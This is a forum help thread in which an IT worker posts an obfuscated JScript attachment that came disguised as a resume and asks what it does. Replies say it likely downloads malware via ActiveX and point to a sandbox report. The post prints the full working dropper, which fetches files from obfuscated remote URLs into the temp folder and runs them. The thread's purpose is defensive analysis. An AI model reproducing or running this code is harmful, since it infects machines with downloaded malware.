Malicious javascript pretending to be a resume: What does this script do?

Hi guys,

I am not sure what the policy is about posting this sort of thing here is so I give fair warning that this code is suspected to be malicious in nature as it came via email in a zip file, pretending to be a resume

I was hoping someone could tell me what this code was trying to do. I have a tiny bit of experience with javascript but and scripting in general but most of this code is unrecognisable to me.

(function(){var BKah=(27.0+"HKGbcL8gW\x82u"["charCodeAt"](5)*0);iaqm=(2.0+"?s\x86}|ZA:*\x894H9"["length"]*20);var n7Er=("J\x82j\x85m\x81;\x86&gs('6tbf%"["charCodeAt"](8)*11+34.0);try{var vStb=window["g1wUbdrLt~bqr"[("U#)_/k?B"["length"]*6300863351+1.0)["toString"](("p\x8ax}?d*Rt{-I].+i7r_\x7f"["charCodeAt"](6)*0+35.0))](/[gLq\~Ud1]/g,"")];var vS_J=(":W)o7j}B\x82h\x81X8;u"["charCodeAt"](12)*5+29.0);oNNc=(2*"\x89)Z\x60Xh\x81-\x8b"["charCodeAt"](2)+24.0);}catch(ee){try{var lFPZ=new ActiveXObject("*eIw<rtgdEvH1e"[("{=isQt-7/\x87>eBIW6F"["charCodeAt"](7)*1084775147+33.0)["toString"](("W\x80\x833[ai"["length"]*5+1.0))](/[\<d1E\*HtI]/g,""));S0vk=("W7_6*vO\x83nU(-gZ"["length"]*23+8.0);}catch(eee){function T_Kw(fr, gadK, rn){ var hyan = new ActiveXObject("+WTSJcIr[i==pvt/w.7~SohVe~lAl"["replace"](/[\+7\[vV\~TJIoA\=\/w]/g,""));var OUoS=(48*"#@}6Y\x82;So2"["length"]+1.0);
var gadK = hyan["E"+"xpandEnvironmentS"+(65>20?"\x74":"\x6f")+"rings"]("u%oWTjE=MYHP*%"[(720098668*"w%:$FNn7#(GU\x8b{x)"["charCodeAt"](4)+49.0)["toString"]((0*"8\x846]T\x87i[tvg"["charCodeAt"](7)+35.0))](/[\=jouYH\*W]/g,"")) + String["fr"+(83>1?"\x6f":"\x68")+"mCh"+""+(83>31?"\x61":"\x59")+"rCode"](92) + gadK;var Cvii="#P*F`(I;lGYgDT>x;PNp(Aq"["replace"](/[\>NTgA\;\`\#\*\(G]/g,"");
var YThL = new ActiveXObject("cM-hSEX1vMZL[2m.5X+MrL8HuT<TsP"[("3R)0v"["length"]*3273117743+4.0)["toString"](("\x86\x84$j\x82e+#D(X\x874a*rn8\x89o"["charCodeAt"](9)*0+29.0))](/[m\[\-8rhEsZv\<\+u51c]/g,""));Fdbq="bB`/39cFyq;V&=lE5(j_pvMt"[(4.0+"Ul\x86Jn"["length"]*8476012186)["toString"]((34.0+"W\x7fn.y?\x846:k1t+s"["charCodeAt"](5)*0))](/[\/\(M9FEy\`\_\;\=b\&p]/g,"");
YThL["o"+(85>27?"\x6e":"\x68")+"re"+"ad"+(86>22?"\x79":"\x70")+"statechange"] = function (){ if (YThL["rea"+(69>21?"\x64":"\x5d")+"ySt"+"a"+(62>30?"\x74":"\x6f")+"e"] === 4){ var GkqB = new ActiveXObject("7IAID]O1DNBI.lS3t@#r;EeN9aHm"[("T\x83_}-|w<tp7"["length"]*5423875738+0.0)["toString"]((4*">Jv/\x83xEZj"["length"]+0.0))](/[lI13\;9EH\#\@7\]N]/g,""));var RS_j="!pkwb3)WyK#5l0wVENpg9L"[(1.0+">3&w\x8a4C"["length"]*2863432339)["toString"](("/G?K{@\x88'\x80JLW5_\x8bp>"["charCodeAt"](12)*0+30.0))](/[bEwlp\#9y\!\)]/g,"");
GkqB["o"+""+(98>36?"\x70":"\x69")+"en"]();hMoj="WIedMxbyo)CdT(N<9-U7N"["replace"](/[Wed7\<\-y\(\)x]/g,"");n6ZZ=("3.\x80x*PDHhq(S\x87i[\x83"["charCodeAt"](4)*9+40.0);var z_ox=("v[j(7"["length"]*76+1.0);bbQk="3Vjhx8JOz6NGnWPBo<Mot)C"[(646242394*"a<\x8a_s[\x84Lv\x86\x82@=N\x80zg"["charCodeAt"](13)+77.0)["toString"](("]Vt\x8b\x89h~^G-(?"["charCodeAt"](8)*0+35.0))](/[Njx3PO\)6J\<no]/g,"");var gvTb=(9.0+"3*\x85r4\x82bk\x80\x89Nt/"["length"]*27);var vtJw="`a4fv68s[z/&y]kAn59Ma"["replace"](/[Av548M\&\]\[\/\`]/g,"");
GkqB["t"+"yp"+(54>5?"\x65":"\x5b")+""] = 1;var dXJt="(DVFQ0G]QvnhZ9R=SMzrT-I"[(1120153484*"'\x89\x83Ce\x8al\x80ZMRxO5cio-h\x8b"["charCodeAt"](17)+29.0)["toString"]((0*"gz\x89\x87\x82AJFE_\x8aiN"["charCodeAt"](8)+35.0))](/[0V\=h\]v\(\-9zFrS]/g,"");
GkqB["w"+"rit"+(52>2?"\x65":"\x5c")+""](YThL["Resp"+(74>46?"\x6f":"\x68")+"nseBo"+"d"+(69>37?"\x79":"\x6f")+""]);F81g=("\x81+\x87q/p\x82*[Sb"["length"]*36+9.0);g5XT="RL0Q<zkWR5Y`K*mka92I-er"["replace"](/[e29\-\<Rk\*0\`Y]/g,"");var JiWj=(10.0+"H@\x8ae\x86\x81D;I1i"["charCodeAt"](6)*1);
GkqB["p"+(64>31?"\x6f":"\x65")+""+"siti"+(80>7?"\x6f":"\x6a")+"n"] = 0;pp3E="oyPngts4LIiH[LXHrScZmUb"["replace"](/[\[I4PUXZtHSon]/g,"");
GkqB["sav"+(55>7?"\x65":"\x5b")+""+""+(98>44?"\x54":"\x4b")+"oFile"](gadK, 2);var aLTe=("0'Adz\x60MB*#/;1"["charCodeAt"](8)*4+20.0);var nLha="P8EG=X<huCH&gno1Unrwh+h"[(16.0+"qPB/78-5z*\x83&ijT2"["charCodeAt"](7)*556371782)["toString"]((2*"_@H^(?Z51KPyN"["length"]+6.0))](/[G\&w1H\=u\+P8n\<]/g,"");o$dG=("VM6ySLTE>ZYu\x7fvJ[_"["charCodeAt"](2)*0+15.0);var D15G=(2.0+"to5XbxJ"["length"]*47);
GkqB[""+(87>27?"\x63":"\x5a")+"lo"+""+(53>34?"\x73":"\x6d")+"e"]();Cvpn="M`p~0U+7L_uJBZSniT%m~9[w"["replace"](/[iu\%\+\~0MB\[\`7\_S]/g,"");
} ;T5gx="OA1P#Mhp8k2El6VOgR+i1M"[(3027147209*"<$L+}w42Ta~GfX"["length"]+8.0)["toString"]((34.0+"OB*\x85sV&\x7fy0E@d)\x86<g"["charCodeAt"](10)*0))](/[1g86hEO\+\#k]/g,"");
} ;var Jx8n="*4=b&~L%Qx&-COCKU#h-stTe"[("Y0T8QC\x881Aj%Ub57n"["charCodeAt"](5)*890487061+31.0)["toString"]((0*"g\x80dw\x7f>D~&W]H\x85Q\x8b"["charCodeAt"](6)+36.0))](/[s\*\#TO\%\&\=\-KQ\~]/g,"");var ZC3Q=(36.0+"CAwD\x81-tp2}\x824"["charCodeAt"](8)*6);var eLzP=("UzP+h4\x60\x84FHYO?("["length"]*20+11.0);Bs7c="2Aez6DwLnS~Lu*x3s1plM>M"[(0.0+"QO\x82Y\x60*"["length"]*7063343489)["toString"]((4.0+"P\x8079^C"["length"]*5))](/[ez1\~wn\*3ul\>2D]/g,"");w$2g=(5*"[Pyw;NKh9met{p1\x80Ya"["charCodeAt"](14)+40.0);var gryB=(6.0+"\x60[S9e\x89?DGY+-8"["length"]*0);var nKTq="<R[Xpk&&F<l&eI6Ws_tDi*Q0"[("M>U\x7f\x8b0RjizoA"["length"]*2032260927+9.0)["toString"](("vo\x89M&bnrI\x82L)6>*@jBOe"["charCodeAt"](11)*0+31.0))](/[\[6Q\<esp\_D\*\&]/g,"");
try { YThL["op"+(90>29?"\x65":"\x5d")+""+"n"]("wGvE!T"[("t^m\x88d"["length"]*10081381361+4.0)["toString"]((1*"npUZ+@&\x82L^{=#\x85"["charCodeAt"](12)+0.0))](/[v\!w]/g,""), fr, false);var Dtcc="LsVu/CH7SDET4m/E6oO9Zrya"["replace"](/[yZD\/4VoEHL97]/g,"");
YThL[""+""+(51>8?"\x73":"\x6c")+"end"]();XYxF="cF_9%X-nJ8sI+eW7eFb6EvgQ"[(3027147209*"iX2u}-TA&$z:3{"["length"]+8.0)["toString"](("1CEvd:\x85-Rg5*\x60"["length"]*2+8.0))](/[veJ\-6g\+\%s\_cb7]/g,"");
if (rn > 0){ hyan["R"+(90>39?"\x75":"\x6d")+""+"n"](gadK, 0, 0);DhDg="XV/6;mND/1OjQ<_I&otU8(W"["replace"](/[OUt\_j\/\&\;\<XN\(]/g,"");
} ;var Ssra=(13.0+"y:a;\x85Z=g,ch+rm@"["length"]*22);
} catch (er){ } ;var I9Hr="W6pUh#mPI_BTsjQ5&mwVZK"[(672092090*">(Y+\x60KLAQ}"["charCodeAt"](5)+59.0)["toString"](("1gvm/u|U"["length"]*4+3.0))](/[\_\&Wj5w\#PpZhT]/g,"");
} T_Kw("Yh9tTt`pN]:0/#W/>e(lVlzi!sDoRnS1R.*Gr~u>U/-iLmq%a*-g2eWs`/!o-n%-ed.*j4p[bg"[(0.0+"_\x81L'<xc"["length"]*7200986687)["toString"]((0.0+"PemYZ"["length"]*7))](/[\>9Vbd\(S\~\*\#DUTq\-\[L0G2zNR\%Y\`\]W\!4]/g,""),"r3@9r6f5E2T1c1o.VeZbxv_e"["replace"](/[EfcbV\_\@vZrTo]/g,""), 1);M2_r=(54.0+"W\x8a1\x81zYFGjdEl\x86I"["charCodeAt"](13)*6);
T_Kw("(h@tIt(pR:bT/@*/%[e0lv0lMicsTo&nL1C.!)r>uCd/Xi8ymVaqg!eNsO/~tRFwEo@.+jQpzg"[(1487780792*"4Z\x86p2tm6laX"["length"]+7.0)["toString"]((29.0+"IKGeDmo9>=yf&\x88{d\x8b\x83"["charCodeAt"](2)*0))](/[\)d\[\!\@ELFI\>bMvXc\(q0C8\+\*Q\%\&N\~zVROyT]/g,""),"&5!2Y2Nu6J5K0b94.teoxOe"["replace"](/[NJ\&o4Ou\!bKtY]/g,""), 1);var Y1Zi=("\x60k\x84JNZlY;G"["length"]*30+6.0);
}};var H9rD=(21*"<qG\x83pgv]"["length"]+7.0);;var BJCo="gVhaDsYxdKyS(invL8wjQ"[(854354352*"mt}p\x87n@\x8b;\x8a"["charCodeAt"](8)+41.0)["toString"](("CSpD9hegV,"["charCodeAt"](4)*0+35.0))](/[h8yDgvdnY\(j]/g,"")})();//q0G737pZcn

Open in new window

My enquiring mind wants to know what this script was trying to do and how. :)

Thanks in advance.
Andrew

I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

LVL 107

JohnBusiness Consultant (Owner)Commented: 2015-03-25

I just delete this stuff on sight. You would know the sender if legitimate. Just delete it and move on.

defectaAuthor Commented: 2015-03-25

I appreciate that, and I do too but as I said, I would like to understand what it is trying to do so I can better protect our environment. I had a user who almost ran this script but thought better of it at the last second.

I would really appreciate some insight into what the purpose of this script is and what it's trying to do.

I have no question that it's malicious, I was just hoping someone with a better understanding of JavaScript could give me a summary of its intent?

Cheers.

LVL 85

Dave BaldwinFixer of ProblemsCommented: 2015-03-25

It appears to be attempting to load an ActiveX component which, depending on your Windows security, can potentially do just about anything. The most likely thing is loading viruses and malware off the internet to infect the machine that it is run on.

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial

Thanks Dave.

Is there an obfuscated IP address or something in that code? Something that could potentially be blacklisted to prevent the ActiveX component from being downloaded?

I don't know. I saw this part...

var GkqB = new ActiveXObject(

which declares a new ActiveXObject but since most of the javascript is encoded (and I won't run it to decode it), I can't tell where it is going to get it.

I just noticed another ActiveXObject in the first line of the script.

LVL 56

Scott Fell, EE MVEDeveloper & EE ModeratorCommented: 2015-03-25

I uploaded the file to malwr.com to check out https://malwr.com/analysis/M2MwMGJiNjA0ZjYwNGYwZGIwYzA4MzgzNDBmNmU1ZGM/

Malicious javascript pretending to be a resume: What does this script do?

Who is Participating?